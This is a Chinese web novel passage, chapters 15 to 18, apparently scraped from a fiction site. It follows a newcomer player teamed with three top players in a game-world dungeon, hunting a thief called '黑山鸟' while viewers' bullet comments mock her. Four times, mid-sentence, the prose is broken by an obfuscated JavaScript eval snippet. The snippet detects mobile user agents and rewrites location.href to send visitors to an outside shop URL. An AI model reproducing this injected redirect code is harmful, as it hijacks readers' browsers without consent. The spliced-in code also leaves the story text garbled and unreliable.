这是个娱乐至上的世界，观众的关注度越高，积分越高；而且不管是出于哪种关注，只要有热度，就能获得积分。 好比学校里的普通考试和各大竞赛，带来的好处是完全不一样的。 — 下午六点，‘象鼻’体育馆前人山人海，第二批歌迷排队入场，其中不乏已经看过第一场的歌迷，仅仅过去了一天，依然兴致勃勃等待着入场。 目光所及之处，是各种巨幅海报、灯牌和荧光棒，‘象鼻’体育馆比‘麋鹿’大得多，远远看去，活像在光海中挥动长鼻。 后台，一向稳重的化妆师突然慌慌张张跑出来，正撞上端着饮料的有夏，顾不上擦拭衣服，焦急地道：“都快开场了，宁姐人呢？” 正在和团队调试音响的工作助理也惊了：“宁姐？她不是一直在你那化妆吗？！” 15. Chapter 15 【开始了开始了】 许久未见的蓝色弹幕出现，有夏召出主控板，飞速了解了一下这场‘大考’的规则。 【大副本三周一次，一次为一个季度，一个季度过后换榜】 越往下看，她的瞳孔缩得越小，最后几乎快要变成猫眼般的细线。 【最后十名者将酌情清理】 倒计时的数字已经出现，距离正式开局只剩十五分钟。 极力平复好心情，她按下那个蓝色的‘匹配’二字，光圈在半空中旋转几秒，随即发出一道冷冰冰的机械女音：“正在为您匹配中。” 她穿进来的时候恰逢第一季度结束，中间有一段不短的休息期，所以没机会见到太多其他玩家。 主控板的界面还在加载，一个会动的倒转沙漏出现： “滴——滴滴——” 【匹配结果：队友1：厘春琴】 【匹配结果：队友2：沈问洲】 【匹配结果；队友3：方桥】 【匹配成功，祝您闯关愉快】 匹配结果一出现，头顶的弹幕清一色幸灾乐祸的‘哈哈哈’，她起初还没反应过来是怎么回事，打开排行榜一找队友，差点没惊掉下巴。 这些居然都是常驻排行榜上前十名的头部玩家，整个榜单的半壁江山。 她看了眼自己的积分，估计还不够给这几个队友凑零头。 头部玩家都是人精，怎么会和她组在一起？是系统出于好心让他们给她带飞吗？ 面板似乎知道她是第一次进入大副本，不出三秒，提示再次浮现：【亲爱的玩家，匹配结果皆由系统随机生成哦】 这句话看着安全，却并不怎么能让人完全放心。 他们的积分不是共同的，而是个人的，也就是说，如果副本成功通关，增加的也只是个人积分而非团队积分。 而一个副本的积分值是有限的，如果这些大佬很快就把积分值瓜分了，那她将会沦为没有积分的人。 至于没有积分的下场…………她不敢想。 - 晚上八点，边宁失踪的消息终究包不住火，刚一传出，瞬间引爆了各大娱乐软件。 不出五分钟，‘边宁演唱会失踪’的词条迅速冲上最大社媒热搜榜第一，后面还跟了个红色的‘爆’字，无数歌迷第一时间点进去，怒骂边宁团队无能。 歌后，演唱会，失踪，随便一个词拎出来都足以激起人们的兴趣，半个小时后，有好事的博主和媒体已经开始猜测 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13567402|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 舆论宛如烧滚的沸水，只要再加大一点火力，就会彻底汹涌而出。 《如果不当明星》的节目组也慌极了，虽然边宁丢了不是小事，但有夏作为应邀艺人才是最重要的，跃星也知道了这则消息，面对丘若雁几近疯狂的的连环质问，只能报警。 不过一个小时，大半座K市的目光纷纷投向平时鲜有人迹的‘象鼻’体育馆。 无数记者媒体和网红博主前来直播，数辆警车风驰电挚到达现场，飞速在体育馆入口前拉起警戒线，厉声阻止进场： “请无关人员迅速撤离！请无关人员迅速撤离！” 歌迷们还在苦苦等候，举着灯牌排成长龙，面对驱赶依然不愿离去，‘象鼻’附近的小摊贩趁热打铁，推着小车叫卖起矿泉水和饮料。 这个虚拟而又逼真的世界，因为第二次副本的到来变得癫狂。 雨点刺穿云层，跃下万里高空，跌入绚烂诡丽的霓虹大厦。 十字路口前，普通市民们仰望夜空，绿灯骤亮，又继续匆匆赶路，对于他们望而生畏的重大事件，不过是上天为别人早就铺好的历练之路。 ‘象鼻’顶层，一个人影正俯瞰着这乱中有序的一切。 “是时候了。” 16. Chapter 16 【永远为琴姐打call！上一期的表现真的太让人惊艳了】 【想看方桥继续解说酱香饼，断层前的人们怎么吃得这么好】 【沈问洲的金框眼镜好禁欲啊，一时不知道是叫daddy还是老公】 【这个有夏是什么人哦，看着是第一次进来啊】 【……】 弹幕热火朝天，悬浮的字幕在夜色中刺破细雨，也刺激着每一个人的神经。 看着这些让人头皮发麻的语录，有夏默默移开眼；三个人气玩家显得非常从容；厘春琴是赛车手出身，三十来岁，方桥则是个人气美食博主，沈问洲是商人，一上来先掌握了主导权：“你们好，大家的目标应该都是一样的吧？” 方桥是个微胖的年轻男人，点点头，厘春琴一身风衣高挑沉稳，没有反驳，就在这时，主控板上再次浮现出一段蓝色文字。 任务来了，四人都下意识抬眼去看。 任务起源于一场震撼全市的‘珠宝盗窃案’，据透露，主谋正是臭名远扬的大盗‘黑山鸟’。 而他们的定位非常简单，是四个隐藏成不同职业的侦探，目标就是抓获任务中的‘黑山鸟’。 任务面板只提供了主线信息，看完任务，三个人的表情明显一松；这是个C级任务，难度不高，由于分配是随机的，这种任务对另外三人完全是送分的轻松本。 C级任务，不用打打杀杀，也不用进行烧脑难缠的争辩，只需要费点力气，对新人来说倒是不错的选择。 商量过后，三人都没有出现分歧，一副胸有成竹的模样。 “你呢，小姑娘？”沈问洲这才注意到有夏，看似照顾新人，语气却很明了：“规则都懂的话，后续就都是靠自己了。” 换言之，所谓的队友就是个头衔，你个新人虽然好运地和我们组了队，出事的时候可千万别拉上我。 有夏很符合新人气质地点点头。 - 翌日，一处不起眼的小巷。 “就是这些。”方桥姗姗来迟，手里拿着份资料，“警方那边知道的消息太少了，还是人民群众有用点。”他把资料一一分发，轮到有夏的时候露出一个怪笑：“你和我看吧。” “……”也行。 ‘黑山鸟’最早出现在十二年前的一场银行抢劫案，那家银行恰好位于一家高档酒店旁，酒店里又有一位重要人物在庆生，媒体记者到场无数，也使得黑山鸟一战成名。 接下来的十二年，黑山鸟又陆续作了十二起案件，一年一起，都是抢劫盗窃。最严重的一次，甚至在现场割下了自己的左手无名指迷惑警/方。 但奇怪的是，无论作案手法多么天衣无缝，‘黑山鸟’都没有动过杀人的心思，在六年前的一起案件中，还放出了一个误入现场的小女孩。 “这么缺钱吗？”方桥半开玩笑地说，“这些年的存款不少吧？到时候能不能分咱们一笔？” 沈问洲推推眼镜：“不一定，他背后有什么灰色产业也犹未可知。” 灰色产业，就是赌/博，代/孕等一系列游走在法律边缘的产业，有一些只是有违道德，钻了法律的空，因此背后势力大到无法想象，要被他们几个遇上，可就不是简单的C级任务了。 他的经济实力是几人中最强的，现实中不少商业巨鳄都是他的合作伙伴。此话一出，另外三人连连看他，他尴尬地咳了咳：“我可没有。” 出了巷子，一辆酷炫的蓝色跑车停在巷口，厘春琴先坐上驾驶室：“先去珠宝店看看？” 无人反驳，系好安全带；厘春琴熟练地踩下油门，车身一颤，窗外景色顿时化为模糊。 银行前人声鼎沸，四人下来的时候，一半的记者媒体都涌了上来，另一半仍在珠宝店前拍摄，总经理十分无奈，只能不住地道歉。 “啊啊啊是专案组！他们也来了吗？！” 围观的吃瓜群众非常兴奋，他们可不在乎什么抢劫，有热闹看就是最好的，此刻正值傍晚，旁边就是地铁站，不少两点一线的学生和上班族纷纷驻足，把一条街堵得水泄不通。 “你好。”沈问洲有模有样地和警察握了手，继续了解情况，厘春琴则去问另一个辅警，方桥凑在一旁说：“这次的任务不简单啊，你咋办？” 有夏很清楚自己的定位，无奈一笑：“能出力就出力，不能出力也不添乱呗。” 方桥轻笑一声，心道这些中低层玩家还是太稚嫩了，哪怕在外是万人敬仰的明星，到这不过蝼蚁一只。 至于抱人气玩家的大腿蹭积分，当个躲在队伍后凑数的辅助还能安全出去？ 当然不可能。 哪个人气玩家不是从死人堆里爬出来的？ 周围的人们对二人很好奇，边探头，边议论，有夏正尝试着获取有效信息，一阵不合时宜的歌声突然传进耳里。 是不远处的商场在放歌，一首流行舞曲。 “啊？最近那个飞天恐龙的歌。”方桥喝口水，颇为暧昧地说：“要放在外面，你这到手的最佳专辑奖可就危险了。”他一直笑嘻嘻的，“不是说这儿AI横行吗？咋还有这么厉害的人。” 有夏笑笑：“是吗？”想了想说：“可能是抄袭的吧？” 不出多会，沈问洲出来了，说：“黑山鸟在现场留下了这个。”他举起左手，手里是一根细线。 有点像断了的铁丝，中间的一截生了锈。方桥拿来翻翻瞅瞅，先说道：“还有别的线索吗？监控和指纹呢？” 沈问洲的腔调带着点冷笑的意味：“你觉得这种大盗会漏下至关的地方？早被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582995|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抹干净了。” 方桥尬笑，这时厘春琴也过来了，看见沈问洲手上的铁丝，冷静道：“这附近有没有旧小区？或者旧街道？” “为什么这么说？” 厘春琴：“警方其实已经找到了一些证据。”她说着凑近了点，“黑山鸟很有可能就住在附近的居民楼。” 由于在副本中‘专案组’的身份，请求一提出，警方便为几人安排了车辆前往。 进入副本后，K市还是那个K市，原先的一切并没有消失，只是非玩家角色们的记忆会被暂时抹除，这也就是刚才的群众没有认出有夏的原因。 路过‘象鼻’体育馆前，苦苦守候的歌迷仍未散去，举着大大小小的手幅海报站成长龙。 “这些脑残粉，上赶着给人送钱！”开车的司机没忍住嘟囔了句，刚要偏头和四人求认同，车身猛地一停，是三个男的突然横穿了马路，还举着灯牌，司机立即大骂：“狗养的，撞死算了！” 边宁的歌迷们也是NPC，被暂时抹去了和有夏有关的记忆，对于边宁这个非玩家角色的记忆却没有抹除，有许多人甚至连夜赶到K市，疯狂地在场外坚守、呐喊。 “这不是你跟的那个女明星吗？”厘春琴讶然，“在演唱会上还能丢？” 按理来说，边宁的团队应该非常严谨，加上当地派来的安保人员，连只蚊子都放不进后台，怎么会让一个大活人就这么丢了呢？ 节目组以及仰宁肯定翻了天，跃星也是，一场演唱会下来丢了两个艺人，很难不让人往绑架案的方面想。 打开手机，她发不出任何消息，只能看着丘若雁那边打来一通又一通未接来电。再打开最大的娱乐软件，全是铺天盖地的报道，热搜榜上，和‘边宁失踪’的有关词条已经超过了一亿浏览。 不得不说，即使这只是个供玩家闯关的虚拟世界，很多细节也做得非常逼真，有夏看了一会，陈渔又发来消息：“有夏姐，你在哪儿啊？有人好像扒出你就是飞天恐龙了，你要解释吗？” 接二连三的图片发来，是一个潜水号进入了飞天恐龙的论坛，并以专业的语气扒出了她就是飞天恐龙的证据。 现实中不乏这样心思缜密的人，这个世界里居然也有，而且全部看下来，这个人的推理能力简直强到可怕。 ‘飞天恐龙’不过是她用来在弹幕面前吊胃口的，马甲迟早会掉，只是在这个时候掉，还没有完全拉起弹幕的期待，也不够爽，根本无法让弹幕的情绪达到高涨。 然而这是在副本内，手机和信号根本不听她的。 人潮渐散，车子继续迎着残阳前行，周遭渐渐安静下来。 随着天色渐晚，不知不觉，四人都隐隐有了困意。 半个小时后，车子在一处类似于城中村的地方停下。 17. Chapter 17 一眼望去全是居民楼，灯光明暗不一，仔细嗅嗅还能闻到炒菜香味。前方有施工队在修路，不远处传来广场舞的音乐，看上去就是很普通的小村落。 沈问洲一下车就闻到一股鱼塘味，旁边有个草丛，蚊子苍蝇嗡嗡响，他下意识拧起眉：“一个顶级大盗，真会住在这种地方？” 入眼的不是出租房就是自建房，黑山鸟这些年的赃款少说也有八位数，就算不住别墅，这里属实不是好的选择。 主控板却没再发来半点提示。 有夏想到什么：“那根铁丝呢？” 沈问洲被这糟糕的环境弄得黑脸，从口袋里摸出铁丝，有夏拿过捏了捏，“这是琴弦。” “琴弦？” 另外三人没学过音乐，有夏非常笃定：“是小提琴弦，如果这真黑山鸟遗漏的，我们可以找找附近有没有乐行之类的地方。” 突然之间，她觉得这个黑山鸟还挺有意思的。 方桥思考：“小提琴很贵吧？而且这个世界的文化不是断层了吗？他怎么会有小提琴？” 大部分乐器都没能在那场天灾中流传下来，小提琴一类的弦乐损失最重，众人仔细想想，这个想法很快就被推翻了。 沈问洲要回铁丝，接过的一瞬间，别有深意地说道：“这个级别的任务不会出大事，不用紧张。” 没得到认同，下一刻，倒是把弹幕引来了： 【动点脑子都知道不可能是好吗？别看啥都是音乐，这又不是你的演唱会】 【新人是这样的，期待她后面进入A级任务被吓得尖叫的样子】 【上次那个新人不就是吗？看到巨蝎直接被吓得尿裤子了哈哈哈】 【这是明星吧？和厘春琴站在一起简直是降维打击啊，漂亮是漂亮，但没啥气质】 【建议把机制改改，菜鸡就和菜鸡一窝好吗好的】 有夏：“…………” 弹幕是副本内共通的，另外三人的表情有了一瞬间的微妙变化，这时随行的警察也到了，说：“这么晚了，要不还是先找个地方歇下？” 几个人气玩家欣然同意，很快找到一家宾馆，开好房间，三人经验丰富，连前台免费附赠的水都没喝，拿出杯子示意有。 厘春琴偷偷告诉有夏，之前有人吃了超市副本里的试吃品，当天晚上就被毒死了。 果然是血的教训。 上楼入住，两组同性住一间，厘春琴提出自己先洗，有夏就趴在窗台旁吹风。 宾馆应该有些年份了，防盗窗有点生锈，凑近闻一股腥气，对面是栋出租屋，一抬头，四楼的一个房间内，有个小姑娘正在灯下写作业。 有夏呵呵一笑，真是辛苦。 再往上看，六楼的空调外机上有一个…………影子。 那是个男人的身影，体型高大，看样子，似乎是想借着外机爬上七楼阳台，由于隔得不近，这样看活像只巨型壁虎吸附在墙外。 周遭视野很暗，正常人都知道，没有哪个修空调的工人会在这种环境下工作。 果不其然，那人不知顺着脚下的什么东西，一点点挪到了七楼阳台旁，一手扒上钢管的同时回过头。 也就在这时，七楼唯一的光源猝然熄灭。 那人丝毫没有影响，顿了一会缓缓抬手，有夏忽然意识到，他或许是在数自己的楼层，连忙转身蹲下。 周遭只剩下浴室的水声，陈旧的宾馆灯光昏暗，弹幕的视角与她统一，情绪也在此刻被拉上了小高/潮。 【快抬头快抬头，那人说不定已经爬过来了】 【嘻嘻嘻，这算什么，B级任务里还有个更大的惊喜哦】 【前面的，做人能别这么缺德么？有本事去吓那两个男的】 【你装什么呢？真善美就别看这种直播啊】 她深吸一口气，弹幕的气氛逐渐转为调侃，转身抬头，幸好窗口没爬着什么奇怪生物，她站起来，对面的影子已经不见了。 副本中的一些事情无法用逻辑解释，哪怕突然看见一个NPC在裸/奔，只要不影响主线任务，玩家也可以置之不理。 此时已是秋末，夜风很凉，她收回手，看似简陋的小宾馆居然还装了暖气片，她在窗台上摸了摸，忽然意识到什么，飞速抽手。 “啊…………啊啊…………” 那不是暖气片，而是一只凭空出现的黑色大手。 有夏想也没想，抄起旁边的花瓶就砸，玻璃和指骨发出一声清脆的碰撞声，手瞬间弹起，极力挥舞着想抓住什么： “妈！妈！我疼啊！” 不是怪物？ 大手挣扎中抓到了窗栏，窗外很快爆发出一阵哭喊： “呜呜呜！爸！妈！我疼啊！” ………… “真不好意思。”老板娘拉着儿子连连道歉，接着解释这个儿子有先天性疾病，脑子不太好使不说，还总喜欢爬窗户。 那儿子看着二十八九岁，神情却像个幼儿，正捂着手躲在他妈怀里呜呜哭，有夏转头看他：“为什么只扒我的窗户？” 男子看上去委屈极了，也不解释，只一个劲地摸自己的手，这时另外三人也下来了，了解过事情的经过，都有点不满。 “我还有作业呢…………”男子抽抽搭搭，一个劲摸着自己的手，“手不能受伤的…………” “不能受伤？好让你继续爬墙是吧？”方桥阴阳怪气，这话一出，男子立即像个被抢了糖的孩子一样坐在地上大哭大闹： “不是爬墙！不是爬墙！我有作业的！”面对这疯子一样的撒泼，方桥没忍住嗤笑出声，继续激他。 有夏也不想嘲笑一个残疾人，试探着问：“作业？你还上学？” 老板娘赶紧替儿子解围：“他有作业的，老师说了，要他爱护好手。” 上的估计是特殊学校，连爱护好手这种事都说了，沈问洲听得直皱眉，倒不是替有夏打抱不平，只是不爽住在这种鬼地方还要被吵醒，直到老板赔笑着表示今夜免单，这才离开。 回到房间，厘春琴开了电视，有夏以为她想看，出于礼貌也坐了起来，没想到对方看她一眼，说：“我不看，你睡吧。” “电视有声音，热闹一点。” “…………” 有夏属于再吵也睡得着的那类人，理解她的心情，钻入被窝，听着电视里的声音，没一会就入了梦乡。 十分钟后，房门被轻轻关上。 “睡着了吧？”方桥搓搓手，圆滑的眼里透露着一丝嘲讽：“这可是在大副本里，要她睡还真睡，怎么会这么蠢？” 沈问洲推推眼镜：“到底是个新人。”说着按动手腕上那块不起眼的心率表，黑暗的长廊中亮起一道蓝光。 主控板上出现了两个选项，他毫不犹豫按下【道具】 【道具发放中，请稍候】 【道具加载中：未知生物检测仪】 【道具加载中：救心丸】 【道具加载中：SSS+大宝刀】 【道具加载中：防弹衣】 主控板很快把道具交到三人手中，沈问洲心安理得地把第四样收下。出了宾馆就是一条小街，夜深人静，店铺大多关了门，路灯把三道影子拉得狭长。 “什么声音？”方桥突然说。 附近的店铺宛若空房，路灯把街道拉得狭长，与三道鬼魅般的长影融为一体。 钢琴声低低的，就着没有月的夜色，每个音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591562|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都像压在人心尖上。 这一块似乎是副本的边缘地带，不知是不是为了省钱，路人的面容做得非常模糊，男女都长着一样的脸。 几人好歹是见过大场面的，忍下不适仔细一听，交谈声怎么听都不像中文。 这甚至不是语言，更像是一种生物在模范着人类的语调发声，原处大排档的招牌字写得歪歪扭扭，使人很难不往恐怖的方面想。 三人顶着熊猫眼回去的时候，有夏正坐在桌前吃包子，见到他们回来，立马热情道：“老板说今天的早餐也免费了，你们快吃。” 厘春琴的脸色最不自然，借故上楼，方桥舀舀粥，嘿嘿一笑：“那老板儿子没再来吧？” “他是个好人，就是傻了点。”有夏擦擦手，“还说要教我弹钢琴呢，怪不得那么爱惜手，哈哈。” 人吃完离开，留下表情一言难尽的方桥和沈问洲。 鬼知道他们一夜没睡就是为了找那琴声？！ 夜里再次集合的时候，方桥特地到老板儿子房间看了看，确定人已经睡下，继续出发。 这次他们没有走昨天那条小街，只在宾馆楼下转了转。 那阵让人不安的钢琴声果然没出现，三人暗暗松了口气，这时方桥哎哟一声，另外两人下意识看他。 是楼上阳台在滴水，方桥骂了句脏话，一抬头，又滴进几滴水：“哎哎哎…………！” “艹！谁晾衣服不拧干啊？！” 话音刚落，他感觉不对，勉强撑开眼皮，另外两人似乎在用眼神提醒他快走。 “是…………是谁？”方桥察觉出不对劲，眼前忽然一晃而过什么东西。 夜风无声刮过，一切都寂静了，他终于睁开眼，一张有点怪异的脸近在咫尺。 “厘姐？” “沈哥？” “给我闭嘴………”沈问洲的声音自耳后传来，方桥心底一凉，逼着自己再次回头。 这人是倒挂着的。 意识到自己看见了什么的方桥吓得一哆嗦。 弹幕的视角与玩家高度统一，被这一幕激得直飚肾上腺激素： 【草草草！我就不该开3D模式，尖叫声差点把我爸妈引来了】 【妈呀，这角度，真的是人类吗】 【难不成是吸血鬼？这出场方式也太装了】 【黑山鸟有这身手，做什么都会成功的】 心心念念的黑山鸟终于出现，方桥率先伸手把人一拽，厘春琴二人接上，C级任务对他们来说到底还是小儿科，恢复好信心，三人齐齐一扯。 “你们干什么？！”那人慌了，黑暗中不知抓到什么东西，用力一挥，三人脚下一滑。 弹幕第一次对人气玩家产生了质疑： 【啊？】 【啊啊？？】 【所以，他们三个连着两天晚上出来的意义是…………？】 【挨打吧哈哈哈】 回来的时候，有夏正拿着盘炒粉坐在钢琴旁大快朵颐，老板儿子则老老实实弹奏着一首曲子，不时傻乎乎地请教几句。 “这里，按低音键，对。”有夏指导起来毫不费力：“这是流行曲，和古典曲的弹发不一样，应该是这样…………” 有夏一开口全是指法技巧，转过头，脸颊红润，气色好得简直不正常：“唉？你们又晨跑去了？” 厘春琴离开得无声无息，加上没再出现什么奇怪的事，她睡得不错。 见人干劲满满地喝了一大碗豆浆，三人顶着黑眼圈和吃了屎的表情，第一次发出自己是在干什么的疑问。 夜里，厘春琴终于忍不住，把睡得正香的有夏也叫起来了。非常严肃地说：“今晚就要开始寻找线索了。” 18. Chapter 18 夜风无孔不入，吹得每个人心里毛毛的。 “太奇怪了吧？”厘春琴早就发现不对劲了，“都过去两天了，还是一点线索都没有。” C级任务说白了就是送分题，哪怕玩家选择躺平摆烂，目标角色也会上赶着送死的那种，可直到现在，别说‘黑山鸟’，他们连个黑衣人都没看见。 弹幕提出会不会是那个倒挂的男人，但很快也被沈问洲以不容置疑的语气推翻了，原因是他不相信一个大盗会爬空调。 接下来，从老板那只会流口水的傻儿子，再到见过的大大小小路人全被猜了个遍，但思路清晰的沈问洲总有理由，只能逐一推翻。 有夏照旧没什么发言权，一出声弹幕还总喜欢拿她拉踩，其他人又不采纳她的意见，索性就不说话了。 该说不说，这个副本还挺无聊的，三人渐渐各持己见，有夏默默打个呵欠，还不如她在外面勇闯娱乐圈好玩。 起码看到韩珂那种蠢货吃瘪的时候，弹幕还会跟着她爽一爽，现在的弹幕是副本直播间里的弹幕，与她个人直播间的弹幕无关；不过不知因为什么缘故，也会飘过几句对她表达喜欢的。 【这个有夏好蠢啊，不就是靠贪吃贪睡躲过了一劫吗？有什么好夸的】 【笑死，还有人敢走‘清纯笨蛋小白花’人设啊，好土】 【从来就不喜欢她好吧，随便一个女玩家都比她能打】 还真是能够意淫的，她翻个白眼，维持着最后的尊严。 在这个世界上，人生是有限的，脑残是无限的，所以没必要过多计较。 “你们是什么人？！”后面冷不防炸起一个声音，四人回头，却什么都没看见。 周遭不算昏暗，还有电动车驶过的亮光，所有人的感官被声音撑大，方桥随手拿起个破扫把，举着大喊：“谁！不要装神弄鬼！” 就在他回头的一瞬间，二楼空调外机上爬过一道人影，几乎想也没想，厘春琴二人也冲了过去。 这就是昨天害得他们被弹幕嘲笑的男人，他正蹲在外机上，身子前倾，一副随时跳下来的模样。 “又是你…………” “你们已经鬼鬼祟祟在这两天了！”男人义正言辞打断，姿态戒备：“你们这些穷人的脸皮怎么这么厚呢？ 这次还敢再来！不知道后面就是公安局吗？” 厘春琴冷静依旧：“那你趴在空调外机上干什么？到底谁更像贼？” 男人语气不善地表示自己家的空调坏了，关你屁事，接着掏出手机就要喊人，有夏突然‘呀’了一声，男人不知手滑还是什么，手机啪地掉了。 他看了看高度，踌躇过后就是恼羞成怒：“哪来的疯子！” “我衣服忘收了。”有夏不知在哪背上一个书包，急匆匆就要往里冲，方桥叫住她，有夏狐疑地瞪着他们，“你们是谁，在我家门口干嘛？” 厘春琴最先反应过来，赶紧配合几句，那男人见人进屋，慌乱之中跳下地面：“喂！” 方桥借机摁住他，扑上去把昨夜的几拳补回来，那人挣扎嘶吼着，也用手肘狠狠回击。 【那个有夏突然跑进去干嘛啊？神经病】 【‘笨蛋美人’是这样的啦，不就是想引起我们的讨论吗，大家快别给她热度】 【对！】 窗户‘呯’地打开，有夏翻身出窗，黑暗中塑料袋的声音尤其刺耳，男人和方桥厮打成一团，好容易占了点上风，抬头见状就要冲过去。 “啊！”男人捂住腿翻来覆去。 是厘春琴及时给了他一脚，下一刻，有夏跃下外机，高高举着一个塑料袋：“你偷东西！” 一直观战的沈问洲抢过，打开，呈现在眼前的是…………一大袋内衣裤。 动静不小，一些居民闻声赶来，把男子团团围住，附近的民警很快骑车赶到，和几人表达了几句感谢，就把男子带走了。 他们还以为这就是‘黑山鸟’呢，这下彻底打消了这个顾虑。 “可以啊。”方桥擦汗，有点惊奇看她：“黑灯瞎火的，你怎么知道那是小偷？” 不止是出于好奇，她这一举动给整个直播间带来的热度不小，也为自己拉了一波好感，他确实有点酸。 有夏揉揉脖子：“他一上来就想让我们自证，见到我进楼的时候还那么慌，一看就是目的不纯。” 【居然不是笨蛋美人吗？看她不是睡就是吃，还以为她要走无辜小白花那套】 【难道聪明人就不吃不喝了？想看修仙的请出门左转隔壁仙侠副本】 【也不算聪明吧，如果站得远一点确实看得到啊】 【好搞笑，这年头‘聪明’的门槛这么低吗】 【对对对，你家问洲老公什么都没做，只是抢抢功劳就能被夸上天了，你满意了吧】 【……】 当然，现在这点收获还是远远不够的，赶紧找到真正的黑山鸟才是重中之重。 沿着街道走，最终找到一家不大的酒吧，尚未打烊，灯火旖旎。抱着‘这种地方鱼龙混杂，最好找人’的心态，方桥率先推开了门。 里面的客人NPC很符合设定地回头瞥瞥来人，见没什么特别，继续喝酒交谈。 另外三人一下子就没影了，有夏百无聊赖，索性坐到吧台前，思来想去，最终只点了白开水。 旁边的一个女人正在嗦面，外观高档的包包就放在桌上，碗里是很普通的清汤面，筷子上还有半个荷包蛋，外皮金黄，裹满汤汁。 女人张开红唇咬了下去，嘴里还咬着就看了过来：“你吃不？” “啊…………” 女人已经要来了小碗，有夏赶紧拒绝，女人以为她在嫌弃，于是又叫了一份。 “没有面条，只剩下煎饺了。”服务员如实说。 最后的结果就是有夏望着一盘油香扑鼻的煎饺发愣，女人看上去是个年轻的白领，摆摆手说：“吃吧。” 呃………… 服务生NPC上完煎饺又调酒，然后洗杯子、切柠檬，完全不知道累似的。这时一桌客人喝得上头了，拍着桌子大喊大叫，服务生又急匆匆地回到台前敲键盘。 丝滑的音乐前奏倾泻而出，客人们高兴了，继续喝酒。 有夏不动声色一笑，旁边吸溜吸溜的女人再次停下。 服务生再次赶来，听了女人的问话，看一眼屏幕：“噢…………这是‘飞天恐龙’的歌。” “好奇怪的名字…………” 尽管女人浑身上下都透露着怪异，不知怎的，有夏突然来了点兴致，说：“这歌叫什么名字？” 说到音乐，本就热忱的女人露出一种满足的微笑，回答过后，眉眼间又带上了点优雅迷人的气质：“很难见的好歌了。” 弹幕也是第一次碰到这种情况，巴不得钻出来： 【还特意问一句，好装】 【这个人请玩家吃东西干嘛？我看了这么久，没有哪个NPC会主动帮助玩家】 【好奇怪，有一种不走主线的美】 【人美心善，是个好NPC】 临走，有夏偷偷把钱塞进她的包里。 第二天一早，老板儿子一大早又在弹琴，几人下楼吃早餐，一个陌生女人正坐在钢琴旁指导着那个傻儿子。 沈问洲三人一看，有夏明明坐在一旁喝粥， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598697|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时傻儿子弹琴的动作停下，旁边的倩影同时起身。 “是你呀？”女人换了身银色鱼尾裙，转头眉眼弯弯：“好巧哦。” 有夏微笑示意：“是很巧，你就是他的老师吗？” 那个一定要他爱护好手的人。 女人点点头，接着表示自己是个钢琴家教，说完就又去忙了。 大部分NPC做得和活人别无出入，大家都没放心上，又出去搜了一圈，直到傍晚才回。 结果一回来，老板夫妇就哭着跪在三人面前，表示自己的儿子不见了，也知道他们是什么身份，请求着帮忙找找。 有夏买东西去了，又出现了一个这么好的转机，三人欣然同意。 在谜底揭晓前，谁都有可能是黑山鸟。 出去找了没多久，提示音响起，紧接着，主控板出现了： 【亲爱的玩家，积分增长中…………厘春琴：+100，方桥：+100，沈问洲：+100】 【恭喜玩家】 这是进入副本来，积分第一次出现飞跃式的增长，即使已经身为头部玩家，面对积分的诱惑，三人忍不住愉悦的同时，也庆幸没带有夏过来瓜分劳动成果。 ‘黑山鸟’身上的积分值还是不少的，他们没理由嫌弃。 主控板不会无端出现分散玩家注意，这么说来，他们离完成任务已经不远了。 一想到这个，素来沉稳的沈问洲的脸上都浮出了笑纹，众人继续走，终于在一座小公园前停下。 里面有人在荡秋千，因为周遭安静的缘故，唯一的一道人影显得特别清楚，三人摸黑进去，那人已经从秋千上下来了。 那正是老板儿子，正扭着屁股，一瘸一拐地朝旁边的滑梯走去，蹲下，不知在哪拖出一个大号的行李箱。 【离家出走吗？这傻子受什么刺激了】 弹幕说出了三人想说的，下一刻，箱子被完全打开，三人缓步挪动，看清里面是什么后，和弹幕一样瞠目结舌： 全是钞票！ ………… 有夏回到宾馆，看见空无一人的房间，就知道自己又被孤立了。 